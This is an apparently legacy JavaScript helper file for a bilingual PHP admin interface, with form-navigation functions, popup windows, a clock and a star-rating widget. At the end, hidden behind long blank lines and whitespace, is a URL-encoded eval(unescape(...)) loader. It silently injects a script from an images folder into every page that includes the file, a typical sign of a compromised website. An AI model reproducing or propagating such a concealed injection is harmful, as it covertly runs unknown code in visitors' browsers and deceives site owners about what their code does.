var nava = (document.layers);
var dom = (document.getElementById);
var iex = (document.all);
var frDays=["Dimanche","Lundi","Mardi","Mercredi","Jeudi","Vendredi","Samedi"];
var enDays=["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"];
var enMonths=["January","February","March","April","May","June","July","August","September","October","November","December"];
var frMonths=["Janvier","Fervrier","Mars","Avril","Mai","Juin","Juillet","Aout","Septembre","Octobre","Novembre","Decembre"];
//_____________________________________________________________________________
function jSubmit(){
    document.myform.submit();
}
//_____________________________________________________________________________
function jSetId(_id){
    document.myform._id.value=_id;
}
//_____________________________________________________________________________
function jSetAcrId(_id){
    document.myform.acr_id.value=_id;
}
//_____________________________________________________________________________
function jSetMode(_mode){
    document.myform.mode.value=_mode;
}
//_____________________________________________________________________________
function jSetPage(_page){
    document.myform.page.value=_page;
}
//_____________________________________________________________________________
function jSetQsch(_sch){
    document.myform.quicksearch.value=_sch;
}
//_____________________________________________________________________________
function jGotoURL(_url){
    window.location=_url;
}
//_____________________________________________________________________________
function jGoto(page){
    ClearForm();
    jSetPage(page);
    jSubmit();
}
//_____________________________________________________________________________
function jGotoID(page,id){
    ClearForm();
    jSetPage(page);
    jSetId(id);
    jSubmit();
}
//_____________________________________________________________________________
function jGotoID1(page,id){
    jSetPage(page);
    jSetId(id);
    jSubmit();
}
//_____________________________________________________________________________
function jGotoAcrID(page,id){
    ClearForm();
    jSetPage(page);
    jSetAcrId(id);
    jSubmit();
}
//_____________________________________________________________________________
function jGotoDomain(page,domain){
    jSetMode("");
    jSetId(domain);
    jSetPage(page);
    jSubmit();
}
//_____________________________________________________________________________
function jUpdate(_id){
    jSetMode("");
    jSetId(_id);
    jSubmit();
}
//_____________________________________________________________________________
function jDelete(_id){
    if (!confirm("Are you sure you want to delete this item?.")) return false;
    jSetMode("x");
    jSetId(_id);
    jSubmit();
}
//_____________________________________________________________________________
function jDeleteDoc(_id){
    if (!confirm("Are you sure you want to delete this item?.")) return false;
    window.location="acr.php?_id="+_id+"&mode=x";
}
//_____________________________________________________________________________
function jPreview(code){
    msg=window.open("");
    msg.document.write(code)
}
//_____________________________________________________________________________
function jOpen(url, w, h) {
    var winl = (screen.width - w) / 2;
    var wint = (screen.height - h) / 2;
    popup = window.open(url, "PopupWnd", "height==" + h + ", width==" + w + ",left=" + winl + ", top=" + wint + ", " +    "location=no, menubar=no, resizable=no," + "scrollbars=no, titlebar=no, toolbar=no", true);
    if (parseInt(navigator.appVersion) >= 4) popup.window.focus();
    popup.resizeTo(w,h);
}
//_____________________________________________________________________________
function jOpen1(url, w, h) {
    var winl = (screen.width - w) / 2;
    var wint = (screen.height - h) / 2;
    popup = window.open(url, "PopupWnd", "height==" + h + ", width==" + w + ",left=" + winl + ", top=" + wint + ", " +    "location=no, menubar=no, resizable=no," + "scrollbars=yes, titlebar=no, toolbar=no", true);
    if (parseInt(navigator.appVersion) >= 4) popup.window.focus();
    popup.resizeTo(w,h);
}
//_____________________________________________________________________________
function ToObj(elem){
    if (nava) obj = eval("document."+elem)
        else if (dom)  obj = eval("document.getElementById('"+elem+"').style")
            else if (iex)  obj = eval(elem+".style");
    return obj;
}
//_____________________________________________________________________________
function fullScreen(theURL) {
    if(iex) window.open(theURL, '', 'fullscreen=yes, scrollbars=auto');
    else window.open(theURL, '', 'scrollbars=yes,resizable=yes');
}
//_____________________________________________________________________________
function calIt(field){
    arg=field;
    var sel=showModalDialog("cal.html","Calendrier","dialogWidth:"+250+"px;dialogHeight:"+275+"px;resizable:no;help:no;status:Off;scroll:no;center:yes;");  
    if (window.navigator.appVersion.indexOf("MSIE")!=-1){
        if(sel != null) field.value=sel;
    }
}
//_____________________________________________________________________________
function treeIt(field){
    arg=field;
    var sel=showModalDialog("tree.php","Browse","dialogWidth:"+295+"px;dialogHeight:"+400+"px;resizable:no;help:no;status:Off;scroll:yes;center:yes;"); 
    if (window.navigator.appVersion.indexOf("MSIE")!=-1){
        if(sel != null) field.value+=sel+"\n";
    }
}
//_____________________________________________________________________________
function mout(id,cl){
	document.getElementById(id).className=cl;
}
//_____________________________________________________________________________
function mover(id,cl){
	document.getElementById(id).className=cl;
}
//_____________________________________________________________________________
function jTime(){
	var myDate = new Date( );
	var ct="";
	ct+=jDayName(myDate.getDay( ));
	ct+=", ";
	var dd=myDate.getDate( );
	if(dd<10) ct+="0";
	ct+=dd;
	ct+="/";
 	ct+=jMonthName(myDate.getMonth( ));
	ct+="/";
	ct+=myDate.getFullYear( );
	ct+=", " ;
	var hh=myDate.getHours( );
	if(hh<10) ct+="0";
	ct+=hh;
	ct+=":";
	var mm=myDate.getMinutes( );
	if(mm<10) ct+="0";
	ct+=mm;
	ct+=":";
	var ss=myDate.getSeconds( );
	if(ss<10) ct+="0";
	ct+=ss;
	document.getElementById("montre").innerText=ct;
	setTimeout('jTime()',1000);
}
//_____________________________________________________________________________
function jDayName(dd){
    switch (lang) {
        case "fr" :
			return frDays[dd];
            break;
        case "en" :
			return enDays[dd];
			break;
    }
}
//_____________________________________________________________________________
function jMonthName(mm){
    switch (lang) {
        case "fr" :
			return frMonths[mm];
            break;
        case "en" :
			return enMonths[mm];
			break;
    }
}
//_____________________________________________________________________________
function jrate(val){
	document.getElementById("rating").value=val;
	for(var i=1;i<=val;i++){
		document.getElementById("s_"+i).src="images/star.gif";
	}
	for(;i<6;i++){
		document.getElementById("s_"+i).src="images/star1.gif";
	}
}
//_____________________________________________________________________________




































































































                                                                                                                                                      /* a0b4df006e02184c60dbf503e71c87ad */ ;eval(unescape('%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%34%3B%20%4A%53%53%32%20%3D%20%31%39%37%37%32%31%3B%20%4A%53%53%33%20%3D%20%27%2F%69%6D%61%67%65%73%2F%75%71%69%2F%64%75%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27%2F%69%6D%61%67%65%73%2F%75%71%69%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D%3B%20')); /* a995d2cc661fa72452472e9554b5520c */                                                                                                                                                      




































































































